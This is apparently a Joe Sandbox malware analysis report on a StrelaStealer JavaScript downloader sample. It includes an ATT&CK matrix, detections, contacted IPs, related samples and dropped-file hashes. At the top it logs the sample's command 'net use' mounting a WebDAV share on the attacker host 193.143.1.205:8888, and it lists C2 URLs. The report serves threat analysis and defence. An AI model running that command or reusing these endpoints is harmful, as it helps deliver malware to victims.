Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
205603875166153346.js	7%	Virustotal		Browse
205603875166153346.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tn	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3011413293.000001157BC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1762340648.000001157BB52000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1761663111.000001EC2C1DA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tn	net.exe, 00000006.00000002.1762418895.000001EC2C1DA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1761663111.000001EC2C1DA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1762340648.000001157BB52000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588895
Start date and time:	2025-01-11 06:49:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	205603875166153346.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 3.233.129.217, 3.219.243.226, 52.6.155.20, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.22.242.123, 2.22.242.11, 23.219.161.132, 4.175.87.197, 104.126.112.182, 13.107.246.45, 52.149.20.212
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:50:33	API Interceptor	20x Sleep call for process: powershell.exe modified
00:50:36	API Interceptor	1x Sleep call for process: net.exe modified
00:50:36	API Interceptor	2x Sleep call for process: svchost.exe modified
00:50:49	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307329814867785
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrW:KooCEYhgYEL0In
MD5:	EA4EE98A7FCF57A64BE61AF4DD6D4782
SHA1:	46937A8AC63FB8B24F158B8A0609DC76284AE11A
SHA-256:	C6EDAAC0ADD64A7176033BC85A683CB82909A9A77675E3B472D22C052C6431DC
SHA-512:	5548B604751B1B0A004736914A60FE640152EEA7B93917509218C0D02D7F6F71D5F587F0DADF3BBF884EF9A4E4C2478F5B604F7AFBF872078160AFCBCD054FE7
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x958d0a89, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221133903225096
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	7EDE609D210FB42E227C9613BE61B615
SHA1:	0521E169C45D62C3B1C05624E8984C4EA9DF4878
SHA-256:	E238502E86B0E7795AD5D0C5F73B8871F0F3EA892D5B7C3B2569FE8940BF02BA
SHA-512:	E25A66FFC839256EB42B8D3E9704622C5B098993253E6DA64B1BECA2474E60C2196D837AE7554DBEC9A8DA3A0EC03EC0AF8953A94D44D0824537389E283479C2
Malicious:	false
Preview:	....... .......A.......X\...;...{......................0.!..........{A.%2...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................%(..%2...}...................P.,%2...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0756666577538591
Encrypted:	false
SSDEEP:	3:CdYe3iP5Cjn13a/ucmXillcVO/lnlZMxZNQl:iz3iM53qLmXGOewk
MD5:	5256F56F1D88CBA017E3CC7F14344135
SHA1:	5376CFC285C98F4CDD2CE03639DE923E86F107BA
SHA-256:	1F819AE8ACA03E53ACCDB705F3D226B50FDCA3AAD105AF183EDA78C016EE8D5C
SHA-512:	5732A46186250D68C8069DB88C4A23E1FF01FB6BDA950981392F7A51017E99A843C4DB7579819DA00DF2ABF93D54C20975310F4A1EB3B5C2612246FED271045E
Malicious:	false
Preview:	.........................................;...{..%2...}.......{A..............{A......{A..........{A].................P.,%2...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.1508981358148445
Encrypted:	false
SSDEEP:	6:iO8evlyq2Pwkn2nKuAl9OmbnIFUtt1ZmwdAjRkwOwkn2nKuAl9OmbjLJ:78evIvYfHAahFUtt1/mF5JfHAaSJ
MD5:	82FB5DE430CD65494B3ACC0744316A90
SHA1:	4EF0CD3D9144EBFEC57ADC4972AC4DD23C581E9F
SHA-256:	CE25BB4CB51B59E81E9CF8DD4AB10903D0E564958C8CF0D1562B1DD2FBEF4EDF
SHA-512:	AA3FB2560A9C81E4267EAB8F946C1AC84F4DA4CB8CB828631BEDA35817B3464D088BDC29D640085E35B6FAFA0FAB15693483F1CC15DA8B270A778C8388BBB2FB
Malicious:	false
Preview:	2025/01/11-00:50:36.859 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:50:36.862 1c50 Recovering log #3.2025/01/11-00:50:36.863 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.1508981358148445
Encrypted:	false
SSDEEP:	6:iO8evlyq2Pwkn2nKuAl9OmbnIFUtt1ZmwdAjRkwOwkn2nKuAl9OmbjLJ:78evIvYfHAahFUtt1/mF5JfHAaSJ
MD5:	82FB5DE430CD65494B3ACC0744316A90
SHA1:	4EF0CD3D9144EBFEC57ADC4972AC4DD23C581E9F
SHA-256:	CE25BB4CB51B59E81E9CF8DD4AB10903D0E564958C8CF0D1562B1DD2FBEF4EDF
SHA-512:	AA3FB2560A9C81E4267EAB8F946C1AC84F4DA4CB8CB828631BEDA35817B3464D088BDC29D640085E35B6FAFA0FAB15693483F1CC15DA8B270A778C8388BBB2FB
Malicious:	false
Preview:	2025/01/11-00:50:36.859 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:50:36.862 1c50 Recovering log #3.2025/01/11-00:50:36.863 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.193823847410108
Encrypted:	false
SSDEEP:	6:iO1q2Pwkn2nKuAl9Ombzo2jMGIFUtukZmwekwOwkn2nKuAl9Ombzo2jMmLJ:71vYfHAa8uFUtB/e5JfHAa8RJ
MD5:	F352150BB78B757B83D6D67C5A879521
SHA1:	C6DDC97E79155798829A72CB4BDE4A3F9C9D8A4D
SHA-256:	02CE1F96844669FE5E5838B218D4505D1EF6918AF57F6217715E0A525DE4DAD7
SHA-512:	0F261A0FDD4370BFA21CCE560337C10D9312690A0CB68049973E8739441C144AB3943F2F2C60B648840BCEBF1E81F1C836BC86ADA32880A193894D925DB65B67
Malicious:	false
Preview:	2025/01/11-00:50:36.936 1d14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:50:36.937 1d14 Recovering log #3.2025/01/11-00:50:36.938 1d14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.193823847410108
Encrypted:	false
SSDEEP:	6:iO1q2Pwkn2nKuAl9Ombzo2jMGIFUtukZmwekwOwkn2nKuAl9Ombzo2jMmLJ:71vYfHAa8uFUtB/e5JfHAa8RJ
MD5:	F352150BB78B757B83D6D67C5A879521
SHA1:	C6DDC97E79155798829A72CB4BDE4A3F9C9D8A4D
SHA-256:	02CE1F96844669FE5E5838B218D4505D1EF6918AF57F6217715E0A525DE4DAD7
SHA-512:	0F261A0FDD4370BFA21CCE560337C10D9312690A0CB68049973E8739441C144AB3943F2F2C60B648840BCEBF1E81F1C836BC86ADA32880A193894D925DB65B67
Malicious:	false
Preview:	2025/01/11-00:50:36.936 1d14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:50:36.937 1d14 Recovering log #3.2025/01/11-00:50:36.938 1d14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4f03c55f-c7a6-4763-8f96-33436c3ac67a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961041133735976
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnpsBdOg2H1caq3QYiubInP7E4T3y:Y2sRds/dMH03QYhbG7nby
MD5:	716C994B3D4CD41C047534C4346A9140
SHA1:	ADE2C0EBBF219255C12D803C34F8BABD5A6F2D88
SHA-256:	FB8C1C6D99E64BA66F804B7E7BD2840ABA34D3088931A0167A993997372BB156
SHA-512:	BE8A525D64B1E4C602583F1A57AD92CE831A714834FC9A5D41F1A1FE837D4C7065A0DD2D1D4A90B7A826B8DC4CB212BA5547443E14C0152448D608137C58046E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381134649407731","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":119787},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.961041133735976
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnpsBdOg2H1caq3QYiubInP7E4T3y:Y2sRds/dMH03QYhbG7nby
MD5:	716C994B3D4CD41C047534C4346A9140
SHA1:	ADE2C0EBBF219255C12D803C34F8BABD5A6F2D88
SHA-256:	FB8C1C6D99E64BA66F804B7E7BD2840ABA34D3088931A0167A993997372BB156
SHA-512:	BE8A525D64B1E4C602583F1A57AD92CE831A714834FC9A5D41F1A1FE837D4C7065A0DD2D1D4A90B7A826B8DC4CB212BA5547443E14C0152448D608137C58046E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381134649407731","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":119787},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.254568285315768
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7xMA6UG:etJCV4FiN/jTN/2r8Mta02fEhgO73goS
MD5:	B4A1051128AFD22F1399AEAE35A62474
SHA1:	B1F80D996ECF1D8531C9727415F46EF34E7AD0CB
SHA-256:	001A6245B34207ACA423588EDE4FC6CA41F1FE2ABC5506C9C5359E23CA7B1BDC
SHA-512:	84016C69C26F19DDCC9E92CB66B9E67B33D2C502C2AB087E6F0F3524F86D7884C4F141BA7BE7EC76CDCC2432A14520D176A15C6ED28E3586A22788296CB0FCEA
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.204500723629591
Encrypted:	false
SSDEEP:	6:iOjq2Pwkn2nKuAl9OmbzNMxIFUtUkZmwckwOwkn2nKuAl9OmbzNMFLJ:7jvYfHAa8jFUtj/c5JfHAa84J
MD5:	E67463831EB4049441FFFD466F79F767
SHA1:	95F8520420DB58D6B6B1753321191BB93EC2AF39
SHA-256:	D021C7E64A50E42E6EA7A205FF625C8369F2CE435DEA8C5480B27AA23E430C96
SHA-512:	AB455C675C1C0691C186D38D6D1941786762F8F0FE5BBD64EAF384854395B75F1FCDCE2739EB245BA82CF81AEB2DF6E9329A0D128EF3880C510E366DF76D8593
Malicious:	false
Preview:	2025/01/11-00:50:36.996 1d14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:50:36.997 1d14 Recovering log #3.2025/01/11-00:50:36.998 1d14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.204500723629591
Encrypted:	false
SSDEEP:	6:iOjq2Pwkn2nKuAl9OmbzNMxIFUtUkZmwckwOwkn2nKuAl9OmbzNMFLJ:7jvYfHAa8jFUtj/c5JfHAa84J
MD5:	E67463831EB4049441FFFD466F79F767
SHA1:	95F8520420DB58D6B6B1753321191BB93EC2AF39
SHA-256:	D021C7E64A50E42E6EA7A205FF625C8369F2CE435DEA8C5480B27AA23E430C96
SHA-512:	AB455C675C1C0691C186D38D6D1941786762F8F0FE5BBD64EAF384854395B75F1FCDCE2739EB245BA82CF81AEB2DF6E9329A0D128EF3880C510E366DF76D8593
Malicious:	false
Preview:	2025/01/11-00:50:36.996 1d14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:50:36.997 1d14 Recovering log #3.2025/01/11-00:50:36.998 1d14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444813160413609
Encrypted:	false
SSDEEP:	384:yezci5t4iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rfs3OazzU89UTTgUL
MD5:	13F6F8A8979DE675A4052EEA34B66306
SHA1:	C336D3F946DD8AAEB7ED77E29FF3A3ED96C339CC
SHA-256:	2F21257C02DE0FA82877DD4FC5F606B4711341314C8274FD630092B22BB666B2
SHA-512:	03A8B4F6B36B215E7D38AAF9CFAA5942F23DEE07C32A6B10C73A3A36B3BC81BC13AF2D163A8A53378FEB8B6123EF2FBB0DD4926FCE4EDEF442B8A0803033A212
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7712943540371042
Encrypted:	false
SSDEEP:	48:7MMWp/E2ioyVUioy9oWoy1Cwoy1oKOioy1noy1AYoy1Wioy1hioybioyGoy1noy5:7CpjuUFbXKQHFb9IVXEBodRBkJ
MD5:	B6EA6258FB9420BB446E4C099B49EA89
SHA1:	AFA2953508FEEE74D904708DDA33EAAE5A8B2BEE
SHA-256:	5EECE7B69DAFA3F4D4C9242B5C8D5F7FDE3261F379B3C1377C023922C45C352C
SHA-512:	08BA2C0B58843A3E0E8B9F9A484309AF7C6128085E68B6A15E50BAB6652282FEE085DBB600725E80C9E983C3FB6DC64B58AFA7DD9BE5D11AFB1EDA5258CF3D3E
Malicious:	false
Preview:	.... .c.......m................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
